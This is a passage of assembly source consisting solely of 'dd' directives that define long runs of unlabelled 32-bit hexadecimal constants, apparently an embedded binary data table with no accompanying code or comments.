dd 28E4972Ch, 648CA000h, 2DBFC0E8h, 0D421E3F3h, 244BC260h
dd 62005DC4h, 69333606h, 947B4E71h, 65D40570h, 55909045h
dd 0D81C0CBEh, 3933925Eh, 3C33F874h, 0C50D0C57h, 1A306D17h
dd 8916491Eh, 0BEF79380h, 0A7FC1DBh, 8B9EFF9h, 0BA1780B0h
dd 6AD4D807h, 0E701FD7Dh, 804D3BF3h, 2D4DF19h, 15498DBh
dd 0EAE799Ch, 0FC47AC2Ah, 0BA001E93h, 0E9CE63ECh, 0E3EE5Bh
dd 583DC660h, 0CCA2E0Bh, 82AF90A0h, 0FF019579h, 7FAA5E92h
dd 7D75933h, 57DEDDD9h, 531AD7DAh, 8EEA7E77h, 0DB3C0070h
dd 0DC470E5Fh, 0E8B7CB34h, 3F3CD554h, 778F7D5Eh, 9D7FB6h
dd 599358C2h, 18C58160h, 181DBADBh, 70C4EE4Ch, 1A7E1FDCh
dd 415B7AD4h, 0E3BB4ED4h, 6E218E97h, 201D6F1Ah, 0E5AD5B46h
dd 0A4763CFAh, 14D4D70Ah, 6B7905Ch, 0DEAF1A66h, 0DCA90408h
dd 0A0197840h, 0D418526Ch, 7D69FB20h, 0DFB0C087h, 0F6578A3Fh
dd 54410A00h
dd 0D9D70824h, 0BF20792h, 11593C4Dh, 0F8DEBB5Dh, 949E1745h
dd 0AC045295h, 0D22C983Bh, 919F1810h, 9B5065C2h, 89F4DF98h
dd 7DBB90C0h, 0C58FCA3h, 502CF43Ch, 9D44EE28h, 0B92284E3h
dd 4FE044A5h, 16D41D00h, 0C36793D8h, 39020047h, 0C96D7936h
dd 0E000E965h, 0EC7BD714h, 8422F3h, 1893269Ch, 66089A21h
dd 76484E00h, 4409C5F7h, 0FDB500B2h, 0DE33CB5Bh, 3A00843Bh
dd 1D51039Ah, 0FF81EF0h, 0FB5FAC29h, 807720Bh, 42E22005h
dd 0D00C7FCh, 98CA7E64h, 4D66523h, 6F16F61Ch, 7983801Bh
dd 123A81F0h, 0FC6025Bh, 0C0801DEEh, 12F8258h, 0F3C1A546h
dd 506B8C19h, 0E7C90DA4h, 0CF00B8B2h, 0C8D08401h, 26605DFh
dd 83127D6Bh, 0B8A07E2Ah, 84C654A1h, 0FB6B804h, 0DC914F8Ch
dd 0A8D0E893h, 0C85059EDh, 7F4402Eh, 0C0F231BCh, 3970C85Fh
dd 1AE66000h, 0A4AB963Eh, 6EE40115h, 3699F7F2h, 3003FAC4h
dd 33C0CCFAh, 0A9167Bh, 0E32CD90Ah, 0B1A15534h, 7ECCB400h
dd 95489DCh, 0C0F285h, 0AA8AF277h, 6A74AFD3h, 0C86CA203h
dd 0C03EDA17h, 5C6EA068h, 0C7017010h, 45C2B24Fh, 0A2AC405Bh
dd 0BF00E7F5h, 9A56BEDCh, 39A5A08Fh, 1900F661h, 0EB6C5F68h
dd 0E0027D6h, 6B534263h, 0C054F3h, 2E0FF6A2h, 7858AA2Fh
dd 64000678h, 8B3B6A50h, 3B5D2A57h, 4098EEB2h, 0C7F3923h
dd 0FEF61D00h, 0DA66580Bh, 0A38000B9h, 0A576552h, 78307D97h
dd 0BFF2117Bh, 8FFD01E3h, 4C79C3B0h, 33C450D6h, 5D00DF44h
dd 0FB31E49Eh, 134AE9Bh, 0CEA7592Ch, 0CC614ED1h, 1417BC17h
dd 800F1A2h, 31AD180Eh, 77420028h, 76B8CF5Fh, 0AF02B6A0h
dd 0E92DFC87h, 0CAF860BAh, 0FA9C007Dh, 0C2A101Eh, 66EE9B26h
dd 292F5200h, 47BBF83Ah, 84BC9Ah, 0A684AC9Fh, 0D7392428h
dd 69910113h, 38FE49C5h, 709420h, 5CEB66C4h, 2CB4B283h
dd 8822F600h, 16992AB0h, 598001Fh, 0D3595567h, 0FB482602h
dd 4E830290h, 5801B4CCh, 9C121DD0h, 703E00F8h, 972086FAh
dd 5099A01h, 7A5B7CF6h, 49EF6424h, 0A4124C2Fh, 5D484408h
dd 3C3091E7h, 0AA29835Ch, 0AB879E36h, 0E6DB80BDh, 0F2C2035Ah
dd 52C7E963h, 68BE8690h, 9039AD30h, 973F3Eh, 964FB092h
dd 127CC8FDh, 0D1448400h, 802338Dh, 5DBB0048h, 0F2118893h
dd 0CA023C94h, 26045C70h, 8DF6E010h, 0F6682506h, 5BB2CCA0h
dd 0FB1E025Fh, 9DC179F4h, 69387F3Ch, 0A0539440h, 7A280127h
dd 0D9415965h, 0CB80345Ch, 86B421Ch, 8BE0BAC0h, 92A3B0h
dd 2341CFDh, 2B828F2Eh, 6D8FBE50h, 654DE400h, 88C1B8DDh
dd 0EF4E3E53h, 5E9BBF00h, 0CE409073h, 0C45B9D01h, 7E0E2F22h
dd 542C67DCh, 130FA094h, 123B2Bh, 5999242Fh, 0C530CCEAh
dd 0A7A212Ch, 0B87E00E6h, 99E6DA4h, 55048394h, 0AF752437h
dd 256B6980h, 0F29B305Bh, 1FF33C91h, 2F978500h, 0A4261493h
dd 47B4138Fh, 0A014C06Ch, 0C07CB86Bh, 67615100h, 23168C02h
dd 4C4300EEh, 1BBDE7ABh, 5FF4C1FCh, 6E0A3D01h, 43CA0497h
dd 529024h, 0C85EF52Bh, 63318EA9h, 543DC200h, 274437EAh
dd 0B758C052h, 0BD75C3E5h, 9CD07E00h, 0CA2A174Dh, 8ADF006Eh
dd 0D7890D53h, 500059DEh, 0BD55F545h, 909A2C1Ch, 9D2B010Ch
dd 60376CFFh, 0A8C3308Bh, 0AAC8103h, 3444D87h, 0D3EF93A0h
dd 2C1CB75Bh, 0BE0033AEh, 94DE283h, 4AD400D1h, 4095CFC2h
dd 0E090B564h, 0FB57C900h, 6CF1681Eh, 418200BBh, 8F141763h
dd 0A49E97FFh, 5218AE1Fh, 2E3E6D26h, 7D5CF4h, 0C802E60Eh
dd 0B300E79Ah, 6762E377h, 98D120EBh, 72F400E2h, 0A253F86Bh
dd 4C070913h, 0C2D0786Fh, 0EE45E9D0h, 8C710076h, 0E103B2C6h
dd 660032A7h, 3742D977h, 60896Dh, 0C288EB65h, 0A6E84739h
dd 0AC08C524h, 73A5300h, 96A95FFh, 724EF3C0h, 0B7705CA0h
dd 0C65421Eh, 0BFC0A728h, 6545662Fh, 0E0C5C04Fh, 97005270h
dd 2AC3CEDh, 32E1D77Fh, 4A280B85h, 80C03F04h, 0F5938A3h
dd 5164A9DEh, 20F04D67h, 5AF1EACFh, 25A4F802h, 0C030324Eh
dd 7C79B040h, 73FEA3Ah, 95489D72h, 14FDC06Bh, 670036A1h
dd 6EF66CDAh, 0B829E5Fh, 49C2B1CFh, 9DC3F080h, 5C0F17F9h
dd 9D02097Eh, 0C0199C40h, 1CDD307Dh, 0AEE1AD85h, 92C88068h
dd 93D8411h, 50B9612Ch, 0E35B2380h, 0D8AD3C2h, 0F445156h
dd 0B2E0483Ch, 0FF844D00h, 25FA1C28h, 29B00395h, 0F93565E3h
dd 6DE0078Dh, 0D8E690BDh, 8709A5BAh, 4034C72Ah, 1DA98094h
dd 344D6888h, 11A0A0F0h, 0EDCB2C00h, 0D9109933h, 8F1702CEh
dd 83FF91C1h, 4275F840h, 0EC0A4300h, 0C95ED78Ah, 26CFEA98h
dd 2F76EA8h, 9CB9F1EDh, 9FCCA5h, 7E4496EDh, 0B8001C95h
dd 0E9CE5FECh, 4C3EF058h, 5703945Ah, 0A931C901h, 19A09980h
dd 8F007096h, 0FC432B0Ah, 279A0357h, 9B9224CCh, 0EADE8804h
dd 0E4E9ADCAh, 0FE3F7600h, 69F1A059h, 67604001h, 5C7AF214h
dd 0B16443D6h, 0B440D356h, 0BB579F9h, 4EAC86AAh, 88C0A4A3h
dd 0F7B0CE93h, 6700E44Ah, 12589A62h, 0D26CBh, 830C392Eh
dd 935BA79Ch, 9246653Ah, 0A0905FABh, 78583B79h, 0AF7612E1h
dd 0C3DCD5C2h, 3AA0B1CCh, 849421D5h, 204225BDh, 1A96DA90h
dd 66DC3AAFh, 7D10A800h, 0AD8C165Dh, 0A64EB100h, 5B0B332Ch
dd 550D07CDh, 30523284h, 3F79B73Bh, 1AE35803h, 0A25ED477h
dd 0A5AB2057h, 0F788FF14h, 0E3A7011Ch, 0B56DDCB9h, 7E88F050h
dd 17D64F00h, 7787F55Eh, 0A4809DB2h, 50841443h, 787DB2B0h
dd 5DE7DF00h, 0D1F0DEF8h, 0AE97006Fh, 0FC609F27h, 0E50C1855h
dd 0D15D3BBEh, 358700C7h, 74C127B4h, 6B907D3Ah, 76784532h
dd 4CDC7662h, 0FA3A2318h, 30D64C9Ah, 2ADE18BDh, 0C01E4BB5h
dd 4F5EDDF0h, 0E53C780Fh, 0B3914EA4h, 68CCF4h, 17EC639Dh
dd 29FC6FA1h, 0E94D7C00h, 0D4BCB297h, 987F61Bh, 0DE0589F0h
dd 0D31F3C7Ah, 44DE8B3Eh, 0AFEB01C0h, 97598369h, 60227CA7h
dd 0ABBCCF79h, 20E00525h, 81C0B380h, 673C301Bh, 2E803681h
dd 89BE9500h, 909AA41Ah, 0D4E700BAh, 5DE2B454h, 3CA0D605h
dd 0E0FF1962h, 77035E3Eh, 0E5F8EB2Dh, 0A848CBAEh, 60E0D861h
dd 0B6DB58F5h, 9B07192Bh, 0CB3CAE26h, 0F4E680F9h, 0E42FC047h
dd 271C0E7Bh, 2107F756h, 95F150DFh, 2300B5EFh, 0DA128074h
dd 58B7BEC1h, 861F9AF9h, 0C08F9C17h, 0B892C3D6h, 37307A25h
dd 0D25330F5h, 306606C9h, 71029597h, 0EE044BF9h, 0D6B8D700h
dd 2023A485h, 0B3918C0h, 75FD1C4h, 0A6EACEAEh, 12DDB0C0h
dd 0A4007619h, 9B60F03Eh, 0C8C22639h, 9D42BA29h, 22122413h
dd 8B611DDh, 660D443Dh, 0C9412284h, 0D311A242h, 87A210Fh
dd 7E90B9F2h, 480B6884h, 0BAD3424Eh, 8C216A24h, 10621207h
dd 6689D4E1h, 3E44D508h, 40F144B6h, 4452D644h, 3F447DE9h
dd 0FB42848Ah, 43082E21h, 849E9040h, 1A48CC41h, 29BF0C49h
dd 0BB2284F2h, 71644C9h, 0B3C1D000h, 2631177Ch, 0A2A500F0h
dd 13019D94h, 84000E04h, 0C2357381h, 787124h, 0FD21B412h
dd 0CEAB3F86h, 16261472h, 0E60F0560h, 0F0340DCh, 0F5F7E5h
dd 40E89D0h, 0B05BB6EDh, 0FD3CF47Fh, 56B380DEh, 7D2622B9h
dd 2FAD00CEh, 0BFD7CF5Dh, 41002EBCh, 830AAC4Bh, 3C32C69Fh
dd 0BE80484Fh, 0DC9C5605h, 440027B5h, 91601774h, 1616A43Ah
dd 7F619Fh, 1C0B8E08h, 50921B6Dh, 0BE00867Fh, 0A498DC0h
dd 0B88567Ah, 5429186Bh
dd 268FC500h, 8A0167E9h, 6265AF03h, 8ECC7258h, 0D8403F87h
dd 0DA28E700h, 9C7D44BFh, 6A8A0D03h, 0B833921Ch, 7D5DC08h
dd 9142EAEEh, 31F1729h, 0FFD82555h, 9090CC88h, 56AADE00h
dd 5CAD57BBh, 1274038Fh, 9B9782D7h, 88FC48D0h, 64558C00h
dd 8A8130CAh, 6A7108h, 0DB0ED3C4h, 1DBC689Eh, 0B000E372h
dd 0D2975FA4h, 0FCD13h, 73FA962h, 226DC795h, 35757B03h
dd 0CAFBB1h, 240A8A10h, 41791A77h, 0B3872118h, 8B8518h
dd 9903C8Ch, 0E415F7D9h, 30C94F05h, 81C711EEh, 6813E690h
dd 0BC54389Bh, 1A7FB680h, 0A3E7252Ch, 553D970Ch, 0BFC0A8h
dd 2237543h, 4F4A5298h, 2BB93Ah, 0DCAC2183h, 78F36Fh, 1EE3B63Bh
dd 0AB5FA38Ah, 4993F100h, 0C05D305Ah, 264148E4h, 2C7BA701h
dd 0C80AE1F0h, 0B103408Eh, 2130C3B0h, 8F0991E7h, 0D51DC4h
dd 7A4368C1h, 0EFDD275Bh, 609DE400h, 8010E8ABh, 0B1ED09BFh
dd 0F8810E4Ah, 603C47CBh, 0C500E411h, 376F362Ch, 0E01E0BBh
dd 91708AD3h, 5811A00h, 0F0006876h, 3FD7CEC8h, 4C4254h
dd 7DB4C2C5h, 0B3253022h, 2D001279h, 0E932C314h, 0C7C1095h
dd 0A639CF5Ah, 0B100D66Ch, 8B4CE711h, 3A7D50h, 72ACEF97h
dd 383F0D31h, 0B014B703h, 0B86F5D64h, 4E0D6DDh, 0B420CC17h
dd 460C90C9h, 0A9185096h, 7E283F65h, 99FF3A1Fh, 0E4209CB0h
dd 0E10709EAh, 966131BCh, 5E546AD0h, 5B3D02F6h, 750CFC20h
dd 1FAE2740h, 0F4097490h, 8FA1DDF3h, 3EE5C323h, 30DF90F6h
dd 32D39FCh, 9C9278h, 6DB2EDC6h, 0C422587Bh, 0BA88080Ch
dd 9CD78A0h, 60A9F351h, 3FB30020h, 66005C5Ah, 1CD1C7BBh
dd 18A99189h, 78A7E321h, 0F85C24C1h, 4D5E0714h, 16F31AB0h
dd 0F9AAB8D1h, 237B0094h, 0FFB1A058h, 0C70F54F1h, 6037A432h
dd 13A58B89h, 0DF840092h, 0BA1638C4h, 6F171AB7h, 7A00C05Ah
dd 0A84598B4h, 0F58A003Fh, 2BBE55EAh, 0B648C6B8h, 147C00C0h
dd 9BF1272Eh, 0A39A009Ch, 12080EF9h, 78007E85h, 0E7EDD841h
dd 26B06EC1h, 70FCF5h, 0BC1AD0A5h, 0A800530Fh, 0B7E44A49h
dd 26595A1Eh, 74C928h, 8A54817Bh, 0EF00E610h, 4A565DB8h
dd 92B02A1Bh, 316000C8h, 0FAE501ADh, 7B00BDB4h, 42CF1254h
dd 3DCDA4h, 52F428ABh, 0F6D409B8h, 2D6B721Ch, 0CB603840h
dd 0F821C5B2h, 63B51271h, 0E90C4233h, 84806170h, 6D1F9779h
dd 0A92EBD00h, 0A4DD6F32h, 4C79FFh, 2F197EB1h, 1695E624h
dd 53C05503h, 98A46A70h, 1FC3F56h, 79A031C2h, 609E511Dh
dd 710021CAh, 13CCEC60h, 0F4C4C0h, 0DD58989Ch, 8D6CB77Dh
dd 1B01F07Bh, 0AADA4047h, 0B8800594h, 4B599286h, 651F5E52h
dd 1B409F55h, 0E72911D2h, 3448036Bh, 6F9AA9F2h, 3E23A8E8h
dd 9D13307Ch, 0A2004077h, 78452BDh, 699E0563h, 0C07A3FF4h
dd 2BBFC30h, 2E007371h, 0A0E3FFE5h, 52915Fh, 0C221CF0Dh
dd 44B2427Fh, 62413800h, 32CC07BFh, 607C0053h, 0D6EDD5C0h
dd 0A100640Dh, 0F119842Fh, 7B465939h, 50B063h, 2B9623B2h
dd 471C7AC1h, 9D00AFFCh, 0DBE6327Eh, 0D3F6D5h, 0AC69B027h
dd 0C44EB5C0h, 0AA1BC100h, 8480CD99h, 0E0DC0020h, 465BABECh
dd 21048127h, 0C893047Ch, 240FB480h, 3AD000B9h, 0CF43465Ch
dd 0B513EDEAh, 0D800806Ch, 45A75814h, 7FC6001Dh, 504C2A6Dh
dd 6100B3A4h, 4A5EFF02h, 0FD2B60h, 690F6291h, 0D4326B6Ch
dd 0ECCB2400h, 31AA1926h, 41BB0020h, 914B695Dh, 2B009E1Bh
dd 0E595B4C5h, 0F6333h, 4DAC7007h, 0FB24197Fh, 0D724100h
dd 76B128D6h, 925100E7h, 19833004h, 0ED077C1Bh, 35C2C3FFh
dd 0C190DCh, 75EBF01h, 30B94E8Ch, 4A82491Dh, 0EE0FD840h
dd 49535B5h, 6BC4FA1h, 3CC081B4h, 0B0B020D4h, 5A5C5B00h
dd 0C8CEBA64h, 3E4516D1h, 0AD1C0038h, 0F0AE81A7h, 463CB500h
dd 0DA11657Fh, 92CE0BFBh, 64208968h, 67991ADEh, 65C0C748h
dd 34C094EEh, 13EC63Ah, 6B6E13EBh, 0DC293D06h, 0DB00FF8Ch
dd 0EFBC7040h, 0E980820h, 50A8745Dh, 519CE9C0h, 0B7002B4Ah
dd 29ED119h, 0F40910h, 69BE7863h, 0E2E1D71Ch, 920DA000h
dd 232B066Fh, 269900DCh, 0A4B74BB0h, 0F100B181h, 801410BEh
dd 174F78h, 478DC773h, 0C23057A3h, 29D11A01h, 0AEDDBEE6h
dd 0FDB9FCCh, 12C66978h, 3FD5D343h, 0A8CB03E8h, 755BB200h
dd 196C8973h, 61594C42h, 82537906h, 843058F3h, 93CE30D6h
dd 1F45F425h, 80DF3B12h, 4877A04Ch, 6C077DCFh, 26862EAAh
dd 38A49A40h, 401F0FAFh, 164064DDh, 0F47C457Eh, 9AAB1A0Fh
dd 75D6603Fh, 3A25108Bh, 608B6A77h, 9C00D44Ah, 0E79ECFEh
dd 17014890h, 0CFC5ED64h, 906433D8h, 0B0A626D1h, 209D3F24h
dd 8F8580EAh, 0CCF89699h, 876E9401h, 238228FDh, 106AD4h
dd 9FFC22B2h, 8FC0B1F6h, 0D3E8C650h, 74ACD900h, 0AF2CD627h
dd 0A4434D96h, 110C8806h, 3B004A73h, 0BD9BD6Ah, 90C9334Bh
dd 4AC23EC0h, 0AB86481h, 208F1789h, 4E088BBCh, 80FA04h
dd 6BAF1F56h, 0CF76AC05h, 0A26FBE00h, 49DBF006h, 0C94E0055h
dd 0F888D738h, 350574EBh, 83AF8A8Bh, 0D0502D80h, 6D13000Eh
dd 0C6DAF2C1h, 807BAEBCh, 40D1E600h, 0F13CCEA7h, 76F098FAh
dd 0A69F002Ah, 14446494h, 3300C137h, 42491BE8h, 0CCB4D4h
dd 5A9152DCh, 0DD8C5D77h, 0B52DFA00h, 389A7AA6h, 0C36628C5h
dd 741C00B8h, 0FB90878Dh, 59F6F9FCh, 32686E00h, 0E1D8DEE5h
dd 474D2638h, 9551000Dh, 0C5E026DCh, 5B3A3000h, 0E9C8B32Fh
dd 574302EAh, 0C7F87ABEh, 0A21BB8A1h, 70D429F4h, 7DAD9D00h
dd 6BF9FA73h, 4045016Ch, 732B702h, 0A5B440CBh, 0E0076AB3h
dd 0C623434Eh, 491F98DAh, 0F17F7280h, 0E23ADDFDh, 2FEA28DCh
dd 0F86400A8h, 0C39608A4h, 9F1C6092h, 7680D83Dh, 0DEFE4278h
dd 0D4030063h, 5FA55359h, 0AE0256B6h, 468FD304h, 0EDAC1A2h
dd 0FCA8EE4h, 0FE9AAD0Ah, 4794C3E1h, 0F1F4F835h, 18C08554h
dd 96A23A00h, 0F6A8212h, 747E0089h, 0DEF4D33Dh, 0B00ECEFh
dd 0D729DB23h, 0B0EA477Ah, 0F10600DCh, 5567528Eh, 63005ED2h
dd 0E3B88912h, 1DC25E1h, 3C98AE4Eh, 601F8052h, 0AF0246E3h
dd 53A9EAD8h, 32A4C140h, 0A95E0h, 0FE9D8010h, 5843736Ah
dd 0F9EA8B00h, 0E91CDA16h, 0AC3F3FD1h, 0ECC228h, 738190C8h
dd 0E6F0D73Ch, 0E12C4096h, 0C4D2C200h, 1F4144CDh, 4F02F633h
dd 0F364B931h, 6B90D0E1h, 0DE98D40Fh, 5A639F01h, 0CCEB1CA6h
dd 0B537EC40h, 27750010h, 2ED639DDh, 0D8009136h, 224AB4Ah
dd 0F34727Fh, 5940C6BEh, 9DCF4D6Eh, 99A02D60h, 2E1CC70Ah
dd 0F200D0BFh, 98393BE2h, 8BF600EFh, 51329A77h, 2600597Bh
dd 0E50EFD48h, 7684D30h, 77D976A4h, 0B0003B96h, 0BAF29109h
dd 0AD11B200h, 1A2873AAh, 0EBCB001Bh, 1F74BBE3h, 0AC002219h
dd 0A8964BE9h, 0C032C3h, 499347CBh, 305E9C86h, 9E98CC00h
dd 8163B0F7h, 8395487Ah, 8A18F600h, 357EC3D2h, 234AF00h
dd 5AA52924h, 31EC0096h, 4BF7F5Ch, 127D51BBh, 0D8CB7428h
dd 0E125DE09h, 3B9020C9h, 0EFDC4BFh, 8D548EE6h, 9E51E40h
dd 0E3012CA2h, 33DBD2E4h, 0C9C84650h, 81B81FBEh, 0AF298016h
dd 0FA39A906h, 89DDB8C0h, 659AB204h, 40A018D6h, 6729A6A4h
dd 2500098Ah, 73ADCD7Eh, 232C88h, 495520DEh, 5221F895h
dd 6F306114h, 567309E0h, 0C1A42579h, 4F3D8C40h, 0C0880E98h
dd 362F4A11h
dd 0DC001AB9h, 0D9D6BB46h, 0F6AFD8BDh, 0AD680A13h, 24C4E0E4h
dd 0A8C50001h, 0A43F3EF0h, 621FA900h, 38DB7417h, 3A955899h
dd 0CBC52D00h, 63260D6Eh, 290204EEh, 0D599B1D9h, 8DBCE003h
dd 0B4D12FDh, 514483EFh, 0D1CEB788h, 21D50F00h, 908422E4h
dd 0CDE3AECh, 582A8580h, 5038E48h, 62B7EE00h, 0EF7C5D73h
dd 9F5903B1h, 34DC86CCh, 519E3598h, 9A00EBECh, 0D7CAAC46h
dd 25D6250h, 5E7A1644h, 40C81070h, 38008974h, 30CA63C6h
dd 4CDB0DDEh, 0B100672Fh, 47D54A52h, 0CE3DDAB7h, 5D28001h
dd 0AB38DE9Bh, 250EB055h, 0D0806A8Ch, 0FCC407C8h, 9318700h
dd 25594F82h, 4C8005E9h, 80830610h, 0E31A4A1Ch, 0FEA87700h
dd 8DF5F897h, 869F2628h, 950E0288h, 38C19963h, 0F56720BFh
dd 97079C78h, 0A10F7A0h, 807F86D2h, 0D9EFE2E8h, 0E7910069h
dd 0BBC0647h, 4100E0D2h, 18A95E90h, 7AC12ACCh, 9D11266Eh
dd 574500B0h, 60A73EC5h, 0E8D19400h, 0A07DA10Fh, 56330030h
dd 0AC97044Ah, 145067A6h, 0F75C93FCh, 67E023Ch, 0E040875Fh
dd 3E96D048h, 3794B951h, 0A900E0FEh, 0F9759B71h, 2300AD79h
dd 6FA5DB8Fh, 0F2A79A05h, 0D01B4876h, 8C17BC58h, 325EC86h
dd 7255BAF9h, 5E048868h, 335012Eh, 605DDFF0h, 7E45CC82h
dd 93C8D800h, 74EEC43Ah, 20EF6043h, 568C42A0h, 3D2CBE0Eh
dd 4B7C0082h, 358AC12h, 49B251ADh, 0B1988947h, 57005A5Fh
dd 0A8DBC38Ch, 0E59158Eh, 889A17ADh, 51857C40h, 1128A974h
dd 2300E0BBh, 98A2B1EDh, 130199h, 84830A08h, 0D6E1376Eh
dd 7FABDC1Dh, 54E70940h, 9FC9CEh, 3CB534A7h, 16159A93h
dd 8C758E00h, 1FC71B38h, 1E27BE4h, 0F5D73969h, 414AA7D6h
dd 0D401A083h, 7B006607h, 24B7C985h, 26CD34DAh, 0DCD317h
dd 5FAAEE52h, 0C10289AFh, 615740B3h, 0DF1EC026h, 63D9076Dh
dd 639CF7E1h, 0D4A0C036h, 5A24D011h, 0C49A288Ch, 0BD288528h
dd 0C0D26C80h, 723E0059h, 0AE523F14h, 0E000FBD3h, 7E3B7D40h
dd 4CB4F3EAh, 7A0088D2h, 0FF484B41h, 6AF617B9h, 8D86EB09h
dd 9790843Dh, 0DCF96490h, 98530042h, 32F32838h, 0FF003591h
dd 12F59C44h, 372E81Eh, 1A317963h, 0DEC02BC7h, 6F096D19h
dd 68B3CB14h, 348688h, 63CAFA88h, 4F5892DDh, 57FB1006h
dd 9C82527h, 4BC6138h, 0B0E29A00h, 18C0247Fh, 0B9E9E6E3h
dd 5CBE001Dh, 356EC73Bh, 7B00F05Dh, 19ABEE7Fh, 74F7D0h
dd 7E1DF259h, 9A4D430Eh, 77FAD00h, 487C217Dh, 3F77D0Bh
dd 397081B4h, 0B5F0C6C1h, 0A00BA3EEh, 80B9759Ah, 64F35423h
dd 0C951C18Dh, 0F4F1E4D2h, 5512C33Ch, 23146A5Eh, 6FAA01E0h
dd 7E59EA61h, 0D3CC2180h, 0A84432D4h, 7BDE6400h, 7EE6A6B9h
dd 0CB7304EDh, 0D08A6961h, 0AE9EFD74h, 81D0823Fh, 24E926AFh
dd 0CFE4DBC4h, 1D602666h, 37728BCh, 7964E6Ah, 1F880D32h
dd 6E30F68Ch, 2B175093h, 74193DE5h, 21392ABEh, 0DA2D3280h
dd 676C4FD3h, 0AEBFC23Ch, 893A0676h, 8F5D5855h, 0A2C09C80h
dd 0DA2774A5h, 2BD90038h, 43D78E37h, 35604E82h, 0C44F41AEh
dd 0DE282674h, 0C23280E8h, 0EAF8D7D9h, 0C472ECEDh, 0F54A5300h
dd 8792C875h, 0A3C7007Eh, 624E3F5Dh, 9F00A6ECh, 0FFB7902Dh
dd 4DD4D9h, 0BBC705FDh, 0E83D803Eh, 0F7C1C4Ch, 4E297407h
dd 0D397A2A8h, 79878A0h, 5BA6EB1Eh, 0B79BC079h, 2101F03Ch
dd 35DDF93Eh, 7DD82467h, 12708Ah, 8672940Fh, 1FC0F861h
dd 9BF6AD00h, 0B8CC8B98h, 902B0244h, 8263E2F7h, 0E818A080h
dd 8F0E471Eh, 0E3914Ah, 6E65FBBDh, 0F5EB3038h, 68865EF6h
dd 469D0C00h, 0D72963ABh, 3CD8002Fh, 0D249C164h, 7D585031h
dd 804188A8h, 0D016E7D8h, 8F7F3D44h, 28B8F22Ch, 0F9829D00h
dd 3C40060Eh, 0A00C5BCh, 1226E63h, 8A1D1907h, 76402A41h
dd 0BCE0EA18h, 0EB53002Eh, 1E77DFCh, 54006A39h, 0EDECA2D2h
dd 58766EABh, 1001F15Fh, 215D9DB6h, 837AF8E0h, 7935917h
dd 0FA2BC000h, 0A05B791h, 84E34CA1h, 67980180h, 0DC0FC69Fh
dd 80006411h, 0EEE57B3Ch, 1756BB8h, 6DE1C5Eh, 201D8BE8h
dd 0A806E4F0h, 0BD57AF56h, 52CA00ECh, 93FCD0B1h, 65282DE7h
dd 0AF008042h, 0F8C76758h, 0F2A61D32h, 8C4B1Eh, 668480D4h
dd 11C0EBFFh, 0A0496460h, 8226000Ch, 0DFFD0320h, 0B83955A4h
dd 3D281354h, 79F820D0h, 428502BFh, 2C9F72B4h, 0E4BB80C0h
dd 1ACF9600h, 0F9A2A460h, 8B30EFEFh, 11F40299h, 9B1D83FFh
dd 171CC0C0h, 5FB51E00h, 0C93F5E58h, 79EA35h, 0DDEC690Bh
dd 0D90CA405h, 1EAB4A00h, 70679304h, 17E51F2Ah, 7B3C0B6h
dd 5A6485CDh, 90043001h, 1581C3F6h, 0D000A469h, 5DA55F17h
dd 5990B046h, 0AFF1F700h, 0D2BFDA1Dh, 0ED633E2Eh, 0B13BA189h
dd 0B6F94680h, 8E039F60h, 769AB53Dh, 0CDC8D853h, 974D0092h
dd 398B083Ch, 0F0C0C7B0h, 30DEFE52h, 0CC6E007Bh, 3B94D8FBh
dd 1B593551h, 2802347Ch, 0D6787CC0h, 0BCEE07BDh, 65EAA00Ah
dd 298400CDh, 44B342ADh, 3E175C96h, 41BE640Eh, 3B4F2276h
dd 0D11070h, 0C393A099h, 1D66BF7Eh, 27E66F07h, 2480CB74h
dd 0F3C9902h, 0C82ED48Dh, 59396221h, 2428383Bh, 6D0087E8h
dd 7057C10Eh, 0E7300766h, 0B0E3DADCh, 0CB564C4Ah, 3ABDB700h
dd 8E51C7Ah, 0F13202C3h, 0B23878FDh, 0D110E0E8h, 80620F3Ch
dd 7936FF80h, 89B3B5h, 0AA522D8Eh, 0EF0D8DDFh, 8A03F100h
dd 4C9E72E7h, 0ADED0092h, 0F4A669BBh, 10002EC7h, 1A5A6702h
dd 373A0CDh, 0CE156A78h, 2EA0DD30h, 0A865C647h, 0CCF0FB72h
dd 0E09B0FECh, 7A06F036h, 6F1D916Ch, 58870BA0h, 64C38916h
dd 0FE0EA844h, 0B09100C7h, 4C270822h, 852CC47Bh, 4F017B37h
dd 5E8FC3EFh, 137D2C28h, 5F454D23h, 765300ACh, 0B1AFD767h
dd 9675FBEEh, 3062A901h, 0BA1BA71Ch, 97383980h, 35CD6545h
dd 48CA9307h, 4BC0E491h, 0FC320Fh, 556931EEh, 0D955E63h
dd 38997D12h, 71C4B0h, 0E8F2D53Eh, 0C7E6E121h, 0C8A5F8EDh
dd 621846FEh, 0CE910AEEh, 0C6AB043Ah, 90A93C1Ch, 7AA61ED4h
dd 23F8D500h, 464C6BE2h, 0BBCFC50h, 4B557B6h, 0CE129B00h
dd 0EA0009D9h, 29163DFh, 0B7ED86h, 5967645Ah, 0D7BD9FF7h
dd 0D320D800h, 0B279F974h, 0C8C00ECh, 0A46B6DADh, 70B2B95Dh
dd 0A02D8009h, 7C5052h, 0EBDA3F84h, 627DC4F0h, 75F15839h
dd 0D2CAA1C0h, 0A0B20D3Ah, 717C5994h, 99400B52h, 88E15737h
dd 217029C9h, 5D8C009Bh, 0C6FCE475h, 1FA48C0h, 0D2E3CCB4h
dd 0E19100B9h, 0D169E21Fh, 8283315h, 63BF03A8h, 0C5944144h
dd 555B2041h, 38700C98h, 0E6896B9h, 16805C6Fh, 771AE5F2h
dd 0F09C3200h, 0C5686ABBh, 0FECA03FFh, 87FA0450h, 4402984Fh
dd 58EABA41h, 0C20E368h, 19943009h, 0D00BF8FCh, 0E04CE548h
dd 48995h, 3CD71902h, 0CC869339h, 2E792002h, 0A03AA7E9h
dd 5B6FDCA8h, 7775F65Fh, 669E3927h, 0D0CB17h, 5E44D220h
dd 0AE0AA89Bh, 0B4E3B68Eh, 7B86CB85h, 81D8A84Eh, 5EB80C87h
dd 266B61E0h, 0D8FC6F68h, 0EE00C0A8h, 0DD206F6Ch, 0A311E3h
dd 9CAF4B5Eh, 3C67BEC5h, 6E729000h, 9DC2D41Eh, 0E694005Bh
dd 0AA415736h, 0CA0FBA65h, 0B9F9D0h, 5A2DAECFh, 0D9110346h
dd 2E6E98F7h, 0BE75101Dh, 8442BFFFh, 0CEFA43Fh, 2AEA68E0h
dd 298C538h, 6005CB15h, 848BBC9h, 90110A4h, 5866A588h
dd 0E0F69CFCh, 32C6770h
